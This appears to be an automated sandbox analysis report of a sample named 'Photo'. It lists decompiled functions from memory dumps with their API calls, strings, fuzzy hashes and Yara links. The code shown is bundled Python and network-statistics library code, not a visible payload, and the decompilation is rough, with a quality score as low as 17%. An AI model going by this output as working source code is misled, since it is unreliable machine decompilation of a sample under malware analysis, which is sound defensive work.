				intOrPtr _t42;
				intOrPtr _t47;
				intOrPtr* _t56;
				void* _t62;
				intOrPtr* _t74;
				void* _t77;
				intOrPtr _t85;
				intOrPtr* _t96;
				intOrPtr* _t100;
				void* _t102;
				intOrPtr* _t103;
				char* _t105;
				void* _t108;
				void* _t112;
				void* _t113;
				void* _t115;

				while(1) {
					_t100 =  *((intOrPtr*)(_t112 + 0x10));
					_t40 =  *0x27691b4(0x548);
					_t105 = _t40;
					_t113 = _t112 + 4;
					if(_t105 == 0) {
						break;
					}
					_t77 = 0x548;
					do {
						 *_t40 = 0;
						_t40 = _t40 + 1;
						_t77 = _t77 - 1;
					} while (_t77 != 0);
					_t47 =  *((intOrPtr*)(_t108 + 4));
					_push(_t105);
					 *((intOrPtr*)(_t105 + 8)) = _t47;
					L02768C20();
					if(_t47 != 0) {
						 *0x27692c4( *((intOrPtr*)( *0x27692c0)), "GetIfEntry() or GetIfEntry2() syscalls failed.");
						_t113 = _t113 + 8;
						goto L24;
					} else {
						asm("adc ecx, [esi+0x4c4]");
						asm("adc eax, [esi+0x50c]");
						_t74 =  *0x27692b4("(KKKKKKKK)",  *((intOrPtr*)(_t105 + 0x500)),  *((intOrPtr*)(_t105 + 0x504)),  *((intOrPtr*)(_t105 + 0x4b8)),  *((intOrPtr*)(_t105 + 0x4bc)),  *((intOrPtr*)(_t105 + 0x510)) +  *((intOrPtr*)(_t105 + 0x508)),  *((intOrPtr*)(_t105 + 0x514)),  *((intOrPtr*)(_t105 + 0x4c8)) +  *((intOrPtr*)(_t105 + 0x4c0)),  *((intOrPtr*)(_t105 + 0x4cc)),  *((intOrPtr*)(_t105 + 0x4d8)),  *((intOrPtr*)(_t105 + 0x4dc)),  *((intOrPtr*)(_t105 + 0x520)),  *((intOrPtr*)(_t105 + 0x524)),  *((intOrPtr*)(_t105 + 0x4d0)),  *((intOrPtr*)(_t105 + 0x4d4)),  *((intOrPtr*)(_t105 + 0x518)),  *((intOrPtr*)(_t105 + 0x51c)));
						_t113 = _t113 + 0x44;
						if(_t74 == 0) {
							L24:
							 *_t100 =  *_t100 + 0xffffffff;
							if( *_t100 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t100 + 4)) + 0x18))))(_t100);
								_t113 = _t113 + 4;
							}
							_t42 =  *((intOrPtr*)(_t113 + 0x14));
							if(_t42 != 0) {
								 *0x2769214(_t42);
								_t113 = _t113 + 4;
							}
							if(_t105 != 0) {
								 *0x2769214(_t105);
								_t113 = _t113 + 4;
							}
							return 0;
						} else {
							_t96 =  *((intOrPtr*)(_t108 + 0x28));
							_t56 = _t96;
							_t102 = _t56 + 2;
							do {
								_t85 =  *_t56;
								_t56 = _t56 + 2;
							} while (_t85 != 0);
							_t103 =  *0x276928c(_t96, _t56 - _t102 >> 1);
							_t113 = _t113 + 8;
							if(_t103 == 0) {
								L21:
								 *_t74 =  *_t74 + 0xffffffff;
								if( *_t74 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t74 + 4)) + 0x18))))(_t74);
									_t113 = _t113 + 4;
								}
								_t100 =  *((intOrPtr*)(_t113 + 0x10));
								goto L24;
							} else {
								_t62 =  *0x27692e8( *((intOrPtr*)(_t113 + 0x10)), _t103, _t74);
								_t113 = _t113 + 0xc;
								if(_t62 != 0) {
									 *_t103 =  *_t103 + 0xffffffff;
									if( *_t103 == 0) {
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 + 4)) + 0x18))))(_t103);
										_t113 = _t113 + 4;
									}
									goto L21;
								} else {
									 *_t103 =  *_t103 + 0xffffffff;
									if( *_t103 == 0) {
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 + 4)) + 0x18))))(_t103);
										_t113 = _t113 + 4;
									}
									 *_t74 =  *_t74 + 0xffffffff;
									if( *_t74 == 0) {
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t74 + 4)) + 0x18))))(_t74);
										_t113 = _t113 + 4;
									}
									 *0x2769214(_t105);
									_t115 = _t113 + 4;
									if( *((intOrPtr*)(_t108 + 8)) != 0) {
										continue;
									} else {
										 *0x2769214( *((intOrPtr*)(_t115 + 0x14)));
										return  *((intOrPtr*)(_t115 + 0x14));
									}
								}
							}
						}
					}
				}
				 *0x27692bc();
				goto L24;
			}

0x02763d40
0x02763d40
0x02763d49
0x02763d4f
0x02763d51
0x02763d56
0x00000000
0x00000000
0x02763d5c
0x02763d61
0x02763d61
0x02763d64
0x02763d65
0x02763d65
0x02763d6a
0x02763d6d
0x02763d6e
0x02763d71
0x02763d78
0x02763ec5
0x02763ecb
0x00000000
0x02763d7e
0x02763dc7
0x02763de8
0x02763e11
0x02763e13
0x02763e18
0x02763ef6
0x02763ef6
0x02763ef9
0x02763f02
0x02763f04
0x02763f04
0x02763f07
0x02763f0d
0x02763f10
0x02763f16
0x02763f16
0x02763f1b
0x02763f1e
0x02763f24
0x02763f24
0x02763f30
0x02763e1e
0x02763e1e
0x02763e21
0x02763e23
0x02763e26
0x02763e26
0x02763e29
0x02763e2c
0x02763e3d
0x02763e3f
0x02763e44
0x02763ee1
0x02763ee1
0x02763ee4
0x02763eed
0x02763eef
0x02763eef
0x02763ef2
0x00000000
0x02763e4a
0x02763e51
0x02763e57
0x02763e5c
0x02763ed0
0x02763ed3
0x02763edc
0x02763ede
0x02763ede
0x00000000
0x02763e5e
0x02763e5e
0x02763e61
0x02763e6a
0x02763e6c
0x02763e6c
0x02763e6f
0x02763e72
0x02763e7b
0x02763e7d
0x02763e7d
0x02763e81
0x02763e8a
0x02763e8f
0x00000000
0x02763e95
0x02763e9a
0x02763eae
0x02763eae
0x02763e8f
0x02763e5c
0x02763e44
0x02763e18
0x02763d78
0x02763eaf
0x00000000

APIs

GetIfEntry2.IPHLPAPI(00000000), ref: 02763D71
Py_BuildValue.PYTHON27((KKKKKKKK),?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02763E0B
PyUnicodeUCS2_FromWideChar.PYTHON27(?,?), ref: 02763E37
PyDict_SetItem.PYTHON27(?,00000000,00000000), ref: 02763E51
6C423B4E.MSVCR90(00000000), ref: 02763E81
6C423B4E.MSVCR90(?), ref: 02763E9A
PyErr_NoMemory.PYTHON27 ref: 02763EAF
6C423B4E.MSVCR90(?), ref: 02763F10
6C423B4E.MSVCR90(00000000), ref: 02763F1E

Strings

N;Bl, xrefs: 02763E81, 02763E9A
(KKKKKKKK), xrefs: 02763E06

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: C423$BuildCharDict_Entry2Err_FromItemMemoryUnicodeValueWide
String ID: (KKKKKKKK)$N;Bl
API String ID: 70512584-3120101563
Opcode ID: bd26e5d689da7349ef7af8ac17870c0ba3aa19a4dc5db15532a2f53c794f744c
Instruction ID: b5999fc4ae53f47a8462242560cb93a908711840ba63279ce5000d4f928550ca
Opcode Fuzzy Hash: bd26e5d689da7349ef7af8ac17870c0ba3aa19a4dc5db15532a2f53c794f744c
Instruction Fuzzy Hash: 3A4150B1500B019FD720CBA8DD88FA7B3E9AF88715F048A5CEA5A87341D734F815CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02763D34 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E02763D34() {
				char* _t40;
				intOrPtr _t42;
				intOrPtr _t47;
				intOrPtr* _t56;
				void* _t62;
				intOrPtr* _t74;
				void* _t77;
				intOrPtr _t85;
				intOrPtr* _t96;
				intOrPtr* _t100;
				void* _t102;
				intOrPtr* _t103;
				char* _t105;
				intOrPtr _t108;
				void* _t111;
				void* _t112;

				while(1) {
					_t100 =  *((intOrPtr*)(_t111 + 0x10));
					_t40 =  *0x27691b4(0x548);
					_t105 = _t40;
					_t112 = _t111 + 4;
					if(_t105 == 0) {
						break;
					}
					_t77 = 0x548;
					do {
						 *_t40 = 0;
						_t40 = _t40 + 1;
						_t77 = _t77 - 1;
					} while (_t77 != 0);
					_t47 =  *((intOrPtr*)(_t108 + 4));
					_push(_t105);
					 *((intOrPtr*)(_t105 + 8)) = _t47;
					L02768C20();
					if(_t47 != 0) {
						 *0x27692c4( *((intOrPtr*)( *0x27692c0)), "GetIfEntry() or GetIfEntry2() syscalls failed.");
						_t112 = _t112 + 8;
						goto L24;
					} else {
						asm("adc ecx, [esi+0x4c4]");
						asm("adc eax, [esi+0x50c]");
						_t74 =  *0x27692b4("(KKKKKKKK)",  *((intOrPtr*)(_t105 + 0x500)),  *((intOrPtr*)(_t105 + 0x504)),  *((intOrPtr*)(_t105 + 0x4b8)),  *((intOrPtr*)(_t105 + 0x4bc)),  *((intOrPtr*)(_t105 + 0x510)) +  *((intOrPtr*)(_t105 + 0x508)),  *((intOrPtr*)(_t105 + 0x514)),  *((intOrPtr*)(_t105 + 0x4c8)) +  *((intOrPtr*)(_t105 + 0x4c0)),  *((intOrPtr*)(_t105 + 0x4cc)),  *((intOrPtr*)(_t105 + 0x4d8)),  *((intOrPtr*)(_t105 + 0x4dc)),  *((intOrPtr*)(_t105 + 0x520)),  *((intOrPtr*)(_t105 + 0x524)),  *((intOrPtr*)(_t105 + 0x4d0)),  *((intOrPtr*)(_t105 + 0x4d4)),  *((intOrPtr*)(_t105 + 0x518)),  *((intOrPtr*)(_t105 + 0x51c)));
						_t112 = _t112 + 0x44;
						if(_t74 == 0) {
							L24:
							 *_t100 =  *_t100 + 0xffffffff;
							if( *_t100 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t100 + 4)) + 0x18))))(_t100);
								_t112 = _t112 + 4;
							}
							_t42 =  *((intOrPtr*)(_t112 + 0x14));
							if(_t42 != 0) {
								 *0x2769214(_t42);
								_t112 = _t112 + 4;
							}
							if(_t105 != 0) {
								 *0x2769214(_t105);
								_t112 = _t112 + 4;
							}
							return 0;
						} else {
							_t96 =  *((intOrPtr*)(_t108 + 0x28));
							_t56 = _t96;
							_t102 = _t56 + 2;
							do {
								_t85 =  *_t56;
								_t56 = _t56 + 2;
							} while (_t85 != 0);
							_t103 =  *0x276928c(_t96, _t56 - _t102 >> 1);
							_t112 = _t112 + 8;
							if(_t103 == 0) {
								L21:
								 *_t74 =  *_t74 + 0xffffffff;
								if( *_t74 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t74 + 4)) + 0x18))))(_t74);
									_t112 = _t112 + 4;
								}
								_t100 =  *((intOrPtr*)(_t112 + 0x10));
								goto L24;
							} else {
								_t62 =  *0x27692e8( *((intOrPtr*)(_t112 + 0x10)), _t103, _t74);
								_t112 = _t112 + 0xc;
								if(_t62 != 0) {
									 *_t103 =  *_t103 + 0xffffffff;
									if( *_t103 == 0) {
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 + 4)) + 0x18))))(_t103);
										_t112 = _t112 + 4;
									}
									goto L21;
								} else {
									 *_t103 =  *_t103 + 0xffffffff;
									if( *_t103 == 0) {
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 + 4)) + 0x18))))(_t103);
										_t112 = _t112 + 4;
									}
									 *_t74 =  *_t74 + 0xffffffff;
									if( *_t74 == 0) {
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t74 + 4)) + 0x18))))(_t74);
										_t112 = _t112 + 4;
									}
									 *0x2769214(_t105);
									_t108 =  *((intOrPtr*)(_t108 + 8));
									_t111 = _t112 + 4;
									if(_t108 != 0) {
										continue;
									} else {
										 *0x2769214( *((intOrPtr*)(_t111 + 0x14)));
										return  *((intOrPtr*)(_t111 + 0x14));
									}
								}
							}
						}
					}
				}
				 *0x27692bc();
				goto L24;
			}

0x02763d40
0x02763d40
0x02763d49
0x02763d4f
0x02763d51
0x02763d56
0x00000000
0x00000000
0x02763d5c
0x02763d61
0x02763d61
0x02763d64
0x02763d65
0x02763d65
0x02763d6a
0x02763d6d
0x02763d6e
0x02763d71
0x02763d78
0x02763ec5
0x02763ecb
0x00000000
0x02763d7e
0x02763dc7
0x02763de8
0x02763e11
0x02763e13
0x02763e18
0x02763ef6
0x02763ef6
0x02763ef9
0x02763f02
0x02763f04
0x02763f04
0x02763f07
0x02763f0d
0x02763f10
0x02763f16
0x02763f16
0x02763f1b
0x02763f1e
0x02763f24
0x02763f24
0x02763f30
0x02763e1e
0x02763e1e
0x02763e21
0x02763e23
0x02763e26
0x02763e26
0x02763e29
0x02763e2c
0x02763e3d
0x02763e3f
0x02763e44
0x02763ee1
0x02763ee1
0x02763ee4
0x02763eed
0x02763eef
0x02763eef
0x02763ef2
0x00000000
0x02763e4a
0x02763e51
0x02763e57
0x02763e5c
0x02763ed0
0x02763ed3
0x02763edc
0x02763ede
0x02763ede
0x00000000
0x02763e5e
0x02763e5e
0x02763e61
0x02763e6a
0x02763e6c
0x02763e6c
0x02763e6f
0x02763e72
0x02763e7b
0x02763e7d
0x02763e7d
0x02763e81
0x02763e87
0x02763e8a
0x02763e8f
0x00000000
0x02763e95
0x02763e9a
0x02763eae
0x02763eae
0x02763e8f
0x02763e5c
0x02763e44
0x02763e18
0x02763d78
0x02763eaf
0x00000000

APIs

GetIfEntry2.IPHLPAPI(00000000), ref: 02763D71
Py_BuildValue.PYTHON27((KKKKKKKK),?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02763E0B
PyUnicodeUCS2_FromWideChar.PYTHON27(?,?), ref: 02763E37
PyDict_SetItem.PYTHON27(?,00000000,00000000), ref: 02763E51
6C423B4E.MSVCR90(00000000), ref: 02763E81
6C423B4E.MSVCR90(?), ref: 02763E9A
PyErr_NoMemory.PYTHON27 ref: 02763EAF
6C423B4E.MSVCR90(?), ref: 02763F10
6C423B4E.MSVCR90(00000000), ref: 02763F1E

Strings

N;Bl, xrefs: 02763E81, 02763E9A
(KKKKKKKK), xrefs: 02763E06

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: C423$BuildCharDict_Entry2Err_FromItemMemoryUnicodeValueWide
String ID: (KKKKKKKK)$N;Bl
API String ID: 70512584-3120101563
Opcode ID: 8ca437af8a8fdb70dd0c348de1daa341961755aa31f49cbd59b79e0cf7aca422
Instruction ID: 80782e9d82ed120181258e186b4b47bea01c8cb3168da8b2221ef4fb263380ab
Opcode Fuzzy Hash: 8ca437af8a8fdb70dd0c348de1daa341961755aa31f49cbd59b79e0cf7aca422
Instruction Fuzzy Hash: FA4150B1500B019FD710CBA8DD88FA7B3E9AF88715F048A5CEA5A87341D734F815CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A52C0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 111COMMON

Download Yara Rule

APIs

PyString_AsString.PYTHON27(?), ref: 1E7A52C6

Strings

InternalHigh, xrefs: 1E7A5371
Internal, xrefs: 1E7A532E
hEvent, xrefs: 1E7A52D7

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: StringString_
String ID: Internal$InternalHigh$hEvent
API String ID: 2379771998-1769053571
Opcode ID: f1d4e81b57f43aedc0361992f2b635869fbbb8344ae69cdbb6c6c4903ebfc143
Instruction ID: be37ab9247fd3a51731e11c0354bb10621c715aed4dcb6765d6b6edd2dd1584e
Opcode Fuzzy Hash: f1d4e81b57f43aedc0361992f2b635869fbbb8344ae69cdbb6c6c4903ebfc143
Instruction Fuzzy Hash: E3314CB2B191C14FF3048F3474705AA7B635ED613C75D8398EAC58B2A6E323D445CB00

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AB1F0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,Sequence of dwords cannot be None), ref: 1E7AB239
?PyWinSequence_Tuple@@YAPAU_object@@PAU1@PAK@Z.PYWINTYPES27(?,?), ref: 1E7AB24B

Strings

Sequence of dwords cannot be None, xrefs: 1E7AB233
Unable to allocate %d bytes, xrefs: 1E7AB283

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_Sequence_StringTuple@@U_object@@
String ID: Sequence of dwords cannot be None$Unable to allocate %d bytes
API String ID: 2371632171-651347692
Opcode ID: 2a249800d83bd6d6c84c4d92078d754bbfe1dd71311d196c1bd58276d53e47cf
Instruction ID: ddbb6eb8447afaead330f2fd2352a1f31a3e85ffda3fb85ce7135e679b8562f3
Opcode Fuzzy Hash: 2a249800d83bd6d6c84c4d92078d754bbfe1dd71311d196c1bd58276d53e47cf
Instruction Fuzzy Hash: F23183B15002169FF700CF18EC8465AB7AAFFC9325F184B26FA4687390D775E855CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A8DC0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,None is not a valid string in this context,?,?,1E7A7B2B,?,00000000,00000000,00000000), ref: 1E7A8DE3
PyUnicode_EncodeMBCS.PYTHON27(?,?,00000000,?,?,1E7A7B2B,?,00000000,00000000,00000000), ref: 1E7A8E1F
PyErr_Format.PYTHON27(00000000,The object must be a string or unicode object (got '%s'),?,?,?,1E7A7B2B,?,00000000,00000000,00000000), ref: 1E7A8E4E

Strings

None is not a valid string in this context, xrefs: 1E7A8DDD
The object must be a string or unicode object (got '%s'), xrefs: 1E7A8E48

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_$EncodeFormatStringUnicode_
String ID: None is not a valid string in this context$The object must be a string or unicode object (got '%s')
API String ID: 1174541588-510607355
Opcode ID: 7e6484846559ed9676a426b62976600644b7884e14c572ecdeb284ea673d4b26
Instruction ID: 836f9818a87c38968307443dd06bbac2c8c7422a9732f638d15edd3a1af459a4
Opcode Fuzzy Hash: 7e6484846559ed9676a426b62976600644b7884e14c572ecdeb284ea673d4b26
Instruction Fuzzy Hash: B9318C7561431ADFE310DF64D888A97B7E9EFC8328F094A19FA198B250D771EC50CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A4EB0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

PyErr_Occurred.PYTHON27 ref: 1E7A4ECB
PyLong_AsLongLong.PYTHON27(?), ref: 1E7A4EFA
PyErr_Occurred.PYTHON27 ref: 1E7A4F16
PyErr_WarnEx.PYTHON27(?,Support for passing 2 integers to create a 64bit value is deprecated - pass a long instead,00000001), ref: 1E7A4F34
PyArg_ParseTuple.PYTHON27(?,1E7AFA7C,?,?,?,Support for passing 2 integers to create a 64bit value is deprecated - pass a long instead,00000001), ref: 1E7A4F4A
PyErr_SetString.PYTHON27(?,LARGE_INTEGER must be 'int', or '(int, int)'), ref: 1E7A4F65

Strings

LARGE_INTEGER must be 'int', or '(int, int)', xrefs: 1E7A4F5F
Support for passing 2 integers to create a 64bit value is deprecated - pass a long instead, xrefs: 1E7A4F2E

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_$LongOccurred$Arg_Long_ParseStringTupleWarn
String ID: LARGE_INTEGER must be 'int', or '(int, int)'$Support for passing 2 integers to create a 64bit value is deprecated - pass a long instead
API String ID: 3544998768-3919795897
Opcode ID: d510148f98b7f15728554e47958c78d2a4a0d984e46d79f40d2536b307b7aacb
Instruction ID: d8e89d22f514e25b652b45e2bb8b4b9b86f064c7e8e8e27e4d419d61f380355b
Opcode Fuzzy Hash: d510148f98b7f15728554e47958c78d2a4a0d984e46d79f40d2536b307b7aacb
Instruction Fuzzy Hash: 0C2171716152219FE304CF28D884A8AB7E9EFC8316F1D866DFA56D72A4E731D800CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A4FA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

PyErr_Occurred.PYTHON27 ref: 1E7A4FBC
PyLong_AsUnsignedLongLong.PYTHON27(?), ref: 1E7A4FE4
PyErr_Occurred.PYTHON27 ref: 1E7A5000
PyArg_ParseTuple.PYTHON27(?,1E7AFAB0,?,?), ref: 1E7A501F
PyErr_SetString.PYTHON27(?,ULARGE_INTEGER must be 'int', or '(int, int)'), ref: 1E7A5039
PyErr_WarnEx.PYTHON27(00000000,Support for passing 2 integers to create a 64bit value is deprecated - pass a long instead,00000001), ref: 1E7A5057

Strings

ULARGE_INTEGER must be 'int', or '(int, int)', xrefs: 1E7A5033
Support for passing 2 integers to create a 64bit value is deprecated - pass a long instead, xrefs: 1E7A5051

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_$LongOccurred$Arg_Long_ParseStringTupleUnsignedWarn
String ID: Support for passing 2 integers to create a 64bit value is deprecated - pass a long instead$ULARGE_INTEGER must be 'int', or '(int, int)'
API String ID: 2892213224-1767028231
Opcode ID: 83e59002ea492aa35b6152b88c5022c3e6aff0c371c5813f0fc0c515e6770b64
Instruction ID: 68d9fa392a60176a49fac1aba7b9bb414ee7ce8e08f8e52357d26724eabf7afb
Opcode Fuzzy Hash: 83e59002ea492aa35b6152b88c5022c3e6aff0c371c5813f0fc0c515e6770b64
Instruction Fuzzy Hash: A2219F716012119FE304CF68D884A96B7E5ABC8319F188769FA16C72E0E731D840CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02765F70 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E02765F70(void* _a4, intOrPtr _a8) {
				long _v4;
				int _t10;
				signed int _t11;
				signed int _t12;
				void* _t16;
				signed int _t19;
				signed int _t22;
				void* _t29;
				void* _t37;

				_t29 = _a4;
				_v4 = 0;
				if(_t29 != 0) {
					_t10 = GetExitCodeProcess(_t29,  &_v4);
					__eflags = _t10;
					if(_t10 == 0) {
						_t11 = CloseHandle(_t29);
						__eflags =  *0x276d7c4;
						if(__eflags == 0) {
							goto L16;
						} else {
							_t11 = E02765DC0(__eflags, _a8);
							__eflags = _t11 - 1;
							if(_t11 != 1) {
								goto L16;
							} else {
								_push("iphr: exit fun");
								goto L5;
							}
						}
					} else {
						__eflags = _v4 - 0x103;
						if(__eflags != 0) {
							_t16 = E02765DC0(__eflags, _a8);
							__eflags = _t16 - 1;
							if(_t16 != 1) {
								CloseHandle(_t29);
								goto L12;
							} else {
								return _t16;
							}
						} else {
							_t19 = E02765E10(_a8, "iphr: GetExitCodeProcess() -> STILL_ACTIVE");
							asm("sbb eax, eax");
							_t22 = ( ~_t19 & 0x00000003) + 0xfffffffe;
							__eflags = _t22;
							return _t22;
						}
					}
				} else {
					_t11 = GetLastError();
					if(_t11 != 0x57) {
						L16:
						_t12 = _t11 | 0xffffffff;
						__eflags = _t12;
						return _t12;
					} else {
						_t37 =  *0x276d7c4 - _t29; // 0x0
						if(_t37 == 0 || E02765DC0(_t37, _a8) != 1) {
							L12:
							__eflags = 0;
							return 0;
						} else {
							_push("iphr: OpenProcess() -> ERROR_INVALID_PARAMETER");
							L5:
							 *0x27692c4( *((intOrPtr*)( *0x276930c)));
							return 0xfffffffe;
						}
					}
				}
			}

0x02765f72
0x02765f76
0x02765f80
0x02765fd4
0x02765fda
0x02765fdc
0x02766029
0x0276602f
0x02766036
0x00000000
0x02766038
0x0276603d
0x02766045
0x02766048
0x00000000
0x0276604a
0x0276604a
0x00000000
0x0276604a
0x02766048
0x02765fde
0x02765fde
0x02765fe6
0x0276600c
0x02766014
0x02766017
0x0276601d
0x00000000
0x0276601b
0x0276601b
0x0276601b
0x02765fe8
0x02765ff2
0x02765ffc
0x02766001
0x02766001
0x02766006
0x02766006
0x02765fe6
0x02765f82
0x02765f82
0x02765f8b
0x02766054
0x02766054
0x02766054
0x02766059
0x02765f91
0x02765f91
0x02765f97
0x02766023
0x02766023
0x02766027
0x02765faf
0x02765faf
0x02765fb4
0x02765fbd
0x02765fcd
0x02765fcd
0x02765f97
0x02765f8b

APIs

GetLastError.KERNEL32(00001000,?,02766070,00001000,00001000,00001000,027660F2,00000000,00001000,?,02761711,?,00001000), ref: 02765F82
PyErr_SetString.PYTHON27(?,iphr: exit fun), ref: 02765FBD
GetExitCodeProcess.KERNEL32(?,00000000), ref: 02765FD4
CloseHandle.KERNEL32(?), ref: 0276601D
CloseHandle.KERNEL32(?,?,02766070,00001000,00001000,00001000,027660F2,00000000,00001000,?,02761711,?,00001000), ref: 02766029

Part of subcall function 02765DC0: 6C423B4E.MSVCR90(00000000,00000000,?), ref: 02765DEF

Strings

iphr: OpenProcess() -> ERROR_INVALID_PARAMETER, xrefs: 02765FAF
iphr: GetExitCodeProcess() -> STILL_ACTIVE, xrefs: 02765FEC
iphr: exit fun, xrefs: 0276604A

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
